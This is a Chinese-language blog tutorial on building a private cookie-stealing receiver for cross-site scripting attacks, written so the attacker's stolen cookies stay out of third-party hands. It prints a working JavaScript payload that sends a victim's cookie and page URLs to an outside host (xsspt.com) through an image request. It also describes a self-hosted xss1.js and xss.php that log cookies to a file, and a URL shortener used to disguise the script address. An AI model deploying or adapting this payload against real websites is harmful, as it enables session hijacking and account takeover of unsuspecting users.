前言
看JS书籍中,看着看着就想到了XSS平台,不禁对XSS平台为什么可以接受cookie产生了思考?看了下接受cookie的代码,原来是接受的步骤是这样的。
我们在存在一个XSS漏洞的地方插入XSS代码,该XSS代码从远程载入一段Javascript。这段Javascript代码的作用就是向我们的XSS平台提交一段GET请求,这段GET请求包括浏览器的cookie(document.cookie),然后我们的XSS平台就接受GET请求,把cookie获取。
那么我们是否可以自己搭建个接受模块来接受cookie呢?毕竟用别人的平台别人是可以看到我们打到的cookie的。
步骤
这是XSS平台获取cookie的模块,下面的几段代码就可以让我们接受从某个地方打到的cookie
可能这样看不清楚,那我们解压缩一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| (function () { (new Image()).src = 'http://xsspt.com/index.php?do=api&id={projectId}&location=' + escape((function () { try { return document.location.href } catch (e) { return '' } })()) + '&toplocation=' + escape((function () { try { return top.location.href } catch (e) { return '' } })()) + '&cookie=' + escape((function () { try { return document.cookie } catch (e) { return '' } })()) + '&opener=' + escape((function () { try { return (window.opener && window.opener.location.href) ? window.opener.location.href : '' } catch (e) { return '' } })()); })(); if ('{set.keepsession}' == 1) { keep = new Image(); keep.src = 'http://xsspt.com/index.php?do=keepsession&id={projectId}&url=' + escape(document.location) + '&cookie=' + escape(document.cookie) };
|
这段代码等同于<img src="http://localhost/xss.php?cookie=(document.cookie)....." />
,也就是一个Img标签。该Img标签可以访问远程接受cookie的地址。
那么我们在自己的服务器上加一个xss1.js和接受并处理cookie的xss.php不就行了么。
这里的话我图简单就本地phpstudy搭建了,反正都一样。。。
接受和处理cookie的xss.php
发送GET请求的xss1.js
本地写一个无过滤的界面来测试是否可以用。
view看看。src后面的网址我把缩短了。
百度缩短网址即可。
最后看看我们本地的地方是否存在这个cookie.txt
成功打到cookie,说明成功。